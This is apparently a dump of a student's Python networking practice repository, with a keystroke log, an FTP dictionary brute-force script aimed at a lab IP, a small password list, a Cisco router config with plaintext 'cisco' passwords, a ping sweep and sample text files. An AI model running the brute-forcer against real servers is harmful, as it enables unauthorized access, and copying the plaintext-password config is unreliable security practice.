configuration 3 | Last configuration change 4 | NVRAM config last updated -------------------------------------------------------------------------------- /key_log.txt: -------------------------------------------------------------------------------- 1 | 2019-05-29 02:50:10,121: 'c' 2 | 2019-05-29 02:50:10,121: 's' 3 | 2019-05-29 02:50:10,121: Key.shift 4 | 2019-05-29 02:50:10,246: 'x' 5 | 2019-05-29 02:50:10,355: 'c' 6 | 2019-05-29 02:50:10,543: Key.shift 7 | 2019-05-29 02:50:10,606: 's' 8 | 2019-05-29 02:50:10,684: 'f' 9 | 2019-05-29 02:50:10,731: 'v' 10 | 2019-05-29 02:50:10,855: 'd' 11 | 2019-05-29 02:50:10,871: 's' 12 | 2019-05-29 02:50:10,871: Key.shift 13 | 2019-05-29 02:50:10,949: 'f' 14 | 2019-05-29 02:50:11,027: 'v' 15 | 2019-05-29 02:50:11,090: 'g' 16 | 2019-05-29 02:50:11,168: 'f' 17 | 2019-05-29 02:50:11,168: 's' 18 | 2019-05-29 02:50:11,168: Key.shift 19 | 2019-05-29 02:50:11,308: 'g' 20 | 2019-05-29 02:50:11,418: 'd' 21 | 2019-05-29 02:50:11,527: 'f' 22 | -------------------------------------------------------------------------------- /lines.txt: -------------------------------------------------------------------------------- 1 | 01 This is a line of text 2 | 02 This is a line of text 3 | 03 This is a line of text 4 | 04 This is a line of text 5 | 05 This is a line of text 6 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import ftplib 5 | 6 | 7 | def connect(host, user, password): 8 | try: 9 | ftp = ftplib.FTP(host) 10 | ftp.login(user, password) 11 | ftp.quit() 12 | return True 13 | except: 14 | return False 15 | 16 | 17 | def main(): 18 | # VARIABLES 19 | targetHostAddr = '192.168.1.15' 20 | userName = 'gus' 21 | passwordsFilePath = 'passwords.txt' 22 | 23 | # Try to connect using anonymous credentials 24 | print ('\nUsing anonymous credentials for ' + targetHostAddr) 25 | 26 | if connect(targetHostAddr, 'anonymous', 'test@test.com'): 27 | print ('★ FTP Anonymous log on succeeded on host ' + targetHostAddr) 28 | else: 29 | print ('✖ FTP Anonymous log on failed on host ' + targetHostAddr) 30 | 31 | # Try brute force using dictionary file 32 | print ('\nUsing brute force with dictionary at: ' + passwordsFilePath) 33 | 34 | # Open passwords dictionary file 35 | passwordsFile = open(passwordsFilePath, 'r') 36 | 37 | for line in passwordsFile: 38 | # Clean the lines in the dictionary file 39 | # TODO: Store them in a different format and read in bacthes to avoid reading from 40 | # the file too often... 41 | password = line.strip('\r').strip('\n') 42 | 43 | print ('- Testing: ' + str(password)) 44 | 45 | if connect(targetHostAddr, userName, password): 46 | # Password found! 47 | print ('★ FTP Logon succeeded on host ' + targetHostAddr) 48 | print (' USER: ' + userName) 49 | print (' PASS: ' + password) 50 | exit(0) 51 | else: 52 | print ('✖ FTP Logon failed') 53 | 54 | print ('\nI\'m sorry man...') 55 | 56 | 57 | 58 | if __name__ == '__main__': 59 | main() 60 | -------------------------------------------------------------------------------- /mycv.txt: -------------------------------------------------------------------------------- 1 | this is a test -------------------------------------------------------------------------------- /names.txt: -------------------------------------------------------------------------------- 1 | John 2 | Terry 3 | Terry 4 | Yasser 5 | Jennifer 6 | Mike 7 | -------------------------------------------------------------------------------- /open.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YasserAuda/PythonForNetowrk-Cisco/f71b2325db69cb5eb9c6a9fe0c6f04a217468875/open.JPG -------------------------------------------------------------------------------- /passwords.txt: -------------------------------------------------------------------------------- 1 | 2 | admin 3 | 1234 4 | password -------------------------------------------------------------------------------- /raven.txt: -------------------------------------------------------------------------------- 1 | Once upon a midnight dreary, while I pondered weak and weary, 2 | Over many a quaint and curious volume of forgotten lore, 3 | While I nodded, nearly napping, suddenly there came a tapping, 4 | As of some one gently rapping, rapping at my chamber door. 5 | "'Tis some visitor," I muttered, "tapping at my chamber door - 6 | Only this, and nothing more." 7 | 8 | Ah, distinctly I remember it was in the bleak December, 9 | And each separate dying ember wrought its ghost upon the floor. 10 | Eagerly I wished the morrow; - vainly I had sought to borrow 11 | From my books surcease of sorrow - sorrow for the lost Lenore - 12 | For the rare and radiant maiden whom the angels named Lenore - 13 | Nameless here for evermore. 14 | 15 | And the silken sad uncertain rustling of each purple curtain 16 | Thrilled me - filled me with fantastic terrors never felt before; 17 | So that now, to still the beating of my heart, I stood repeating 18 | "'Tis some visitor entreating entrance at my chamber door - 19 | Some late visitor entreating entrance at my chamber door; - 20 | This it is, and nothing more," 21 | 22 | Presently my soul grew stronger; hesitating then no longer, 23 | "Sir," said I, "or Madam, truly your forgiveness I implore; 24 | But the fact is I was napping, and so gently you came rapping, 25 | And so faintly you came tapping, tapping at my chamber door, 26 | That I scarce was sure I heard you" - here I opened wide the door; - 27 | Darkness there, and nothing more. 28 | 29 | Deep into that darkness peering, long I stood there wondering, fearing, 30 | Doubting, dreaming dreams no mortal ever dared to dream before; 31 | But the silence was unbroken, and the darkness gave no token, 32 | And the only word there spoken was the whispered word, "Lenore!" 33 | This I whispered, and an echo murmured back the word, "Lenore!" 34 | Merely this and nothing more. 35 | 36 | Back into the chamber turning, all my soul within me burning, 37 | Soon again I heard a tapping somewhat louder than before. 38 | "Surely," said I, "surely that is something at my window lattice; 39 | Let me see then, what thereat is, and this mystery explore - 40 | Let my heart be still a moment and this mystery explore; - 41 | 'Tis the wind and nothing more!" 42 | 43 | Open here I flung the shutter, when, with many a flirt and flutter, 44 | In there stepped a stately raven of the saintly days of yore. 45 | Not the least obeisance made he; not a minute stopped or stayed he; 46 | But, with mien of lord or lady, perched above my chamber door - 47 | Perched upon a bust of Pallas just above my chamber door - 48 | Perched, and sat, and nothing more. 49 | 50 | Then this ebony bird beguiling my sad fancy into smiling, 51 | By the grave and stern decorum of the countenance it wore, 52 | "Though thy crest be shorn and shaven, thou," I said, "art sure no craven. 53 | Ghastly grim and ancient raven wandering from the nightly shore - 54 | Tell me what thy lordly name is on the Night's Plutonian shore!" 55 | Quoth the raven, "Nevermore." 56 | 57 | Much I marvelled this ungainly fowl to hear discourse so plainly, 58 | Though its answer little meaning - little relevancy bore; 59 | For we cannot help agreeing that no living human being 60 | Ever yet was blessed with seeing bird above his chamber door - 61 | Bird or beast above the sculptured bust above his chamber door, 62 | With such name as "Nevermore." 63 | 64 | But the raven, sitting lonely on the placid bust, spoke only, 65 | That one word, as if his soul in that one word he did outpour. 66 | Nothing further then he uttered - not a feather then he fluttered - 67 | Till I scarcely more than muttered "Other friends have flown before - 68 | On the morrow he will leave me, as my hopes have flown before." 69 | Then the bird said, "Nevermore." 70 | 71 | Startled at the stillness broken by reply so aptly spoken, 72 | "Doubtless," said I, "what it utters is its only stock and store, 73 | Caught from some unhappy master whom unmerciful disaster 74 | Followed fast and followed faster till his songs one burden bore - 75 | Till the dirges of his hope that melancholy burden bore 76 | Of 'Never-nevermore.'" 77 | 78 | But the raven still beguiling all my sad soul into smiling, 79 | Straight I wheeled a cushioned seat in front of bird and bust and door; 80 | Then, upon the velvet sinking, I betook myself to linking 81 | Fancy unto fancy, thinking what this ominous bird of yore - 82 | What this grim, ungainly, ghastly, gaunt, and ominous bird of yore 83 | Meant in croaking "Nevermore." 84 | 85 | This I sat engaged in guessing, but no syllable expressing 86 | To the fowl whose fiery eyes now burned into my bosom's core; 87 | This and more I sat divining, with my head at ease reclining 88 | On the cushion's velvet lining that the lamp-light gloated o'er, 89 | But whose velvet violet lining with the lamp-light gloating o'er, 90 | She shall press, ah, nevermore! 91 | 92 | Then, methought, the air grew denser, perfumed from an unseen censer 93 | Swung by Seraphim whose foot-falls tinkled on the tufted floor. 94 | "Wretch," I cried, "thy God hath lent thee - by these angels he has sent thee 95 | Respite - respite and nepenthe from thy memories of Lenore! 96 | Quaff, oh quaff this kind nepenthe, and forget this lost Lenore!" 97 | Quoth the raven, "Nevermore." 98 | 99 | "Prophet!" said I, "thing of evil! - prophet still, if bird or devil! - 100 | Whether tempter sent, or whether tempest tossed thee here ashore, 101 | Desolate yet all undaunted, on this desert land enchanted - 102 | On this home by horror haunted - tell me truly, I implore - 103 | Is there - is there balm in Gilead? - tell me - tell me, I implore!" 104 | Quoth the raven, "Nevermore." 105 | 106 | "Prophet!" said I, "thing of evil! - prophet still, if bird or devil! 107 | By that Heaven that bends above us - by that God we both adore - 108 | Tell this soul with sorrow laden if, within the distant Aidenn, 109 | It shall clasp a sainted maiden whom the angels named Lenore - 110 | Clasp a rare and radiant maiden, whom the angels named Lenore?" 111 | Quoth the raven, "Nevermore." 112 | 113 | "Be that word our sign of parting, bird or fiend!" I shrieked upstarting - 114 | "Get thee back into the tempest and the Night's Plutonian shore! 115 | Leave no black plume as a token of that lie thy soul hath spoken! 116 | Leave my loneliness unbroken! - quit the bust above my door! 117 | Take thy beak from out my heart, and take thy form from off my door!" 118 | Quoth the raven, "Nevermore." 119 | 120 | And the raven, never flitting, still is sitting, still is sitting 121 | On the pallid bust of Pallas just above my chamber door; 122 | And his eyes have all the seeming of a demon's that is dreaming, 123 | And the lamp-light o'er him streaming throws his shadow on the floor; 124 | And my soul from out that shadow that lies floating on the floor 125 | Shall be lifted - nevermore! 126 | -------------------------------------------------------------------------------- /router192.168.1.50: -------------------------------------------------------------------------------- 1 | Building configuration... 2 | 3 | Current configuration : 1125 bytes 4 | ! 5 | version 12.4 6 | service timestamps debug datetime msec 7 | service timestamps log datetime msec 8 | no service password-encryption 9 | ! 10 | hostname R100 11 | ! 12 | boot-start-marker 13 | boot-end-marker 14 | ! 15 | enable password cisco 16 | ! 17 | no aaa new-model 18 | memory-size iomem 5 19 | no ip icmp rate-limit unreachable 20 | ip cef 21 | ! 22 | ! 23 | ! 24 | ! 25 | no ip domain lookup 26 | ip domain name yasseraudalab.com 27 | ! 28 | multilink bundle-name authenticated 29 | ! 30 | ! 31 | ! 32 | ! 33 | ! 34 | ! 35 | ! 36 | ! 37 | ! 38 | ! 39 | ! 40 | ! 41 | ! 42 | ! 43 | ! 44 | ! 45 | ! 46 | ! 47 | ! 48 | ! 49 | ! 50 | username yasser privilege 15 password 0 cisco 51 | archive 52 | log config 53 | hidekeys 54 | ! 55 | ! 56 | ! 57 | ! 58 | ip tcp synwait-time 5 59 | ! 60 | ! 61 | ! 62 | ! 63 | interface FastEthernet0/0 64 | ip address 192.168.1.50 255.255.255.0 65 | duplex auto 66 | speed auto 67 | ! 68 | interface FastEthernet0/1 69 | no ip address 70 | shutdown 71 | duplex auto 72 | speed auto 73 | ! 74 | router ospf 100 75 | log-adjacency-changes 76 | network 192.168.1.0 0.0.0.255 area 0 77 | ! 78 | ip forward-protocol nd 79 | ! 80 | ! 81 | no ip http server 82 | no ip http secure-server 83 | ! 84 | no cdp log mismatch duplex 85 | ! 86 | ! 87 | ! 88 | ! 89 | ! 90 | ! 91 | control-plane 92 | ! 93 | ! 94 | ! 95 | ! 96 | ! 97 | ! 98 | ! 99 | ! 100 | ! 101 | ! 102 | line con 0 103 | exec-timeout 0 0 104 | privilege level 15 105 | logging synchronous 106 | line aux 0 107 | exec-timeout 0 0 108 | privilege level 15 109 | logging synchronous 110 | line vty 0 4 111 | login local 112 | transport input ssh 113 | ! 114 | ! 115 | end 116 | -------------------------------------------------------------------------------- /screen_capture.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YasserAuda/PythonForNetowrk-Cisco/f71b2325db69cb5eb9c6a9fe0c6f04a217468875/screen_capture.jpg -------------------------------------------------------------------------------- /socketping.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 4 | for n in range(50, 52): 5 | server_ip="192.168.3.{0}".format(n) 6 | rep = os.system('ping ' + server_ip) 7 | if rep == 0: 8 | print ("server is up" ,server_ip) 9 | else: 10 | print ("server is down" ,server_ip) 11 | -------------------------------------------------------------------------------- /watermark.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YasserAuda/PythonForNetowrk-Cisco/f71b2325db69cb5eb9c6a9fe0c6f04a217468875/watermark.jpg --------------------------------------------------------------------------------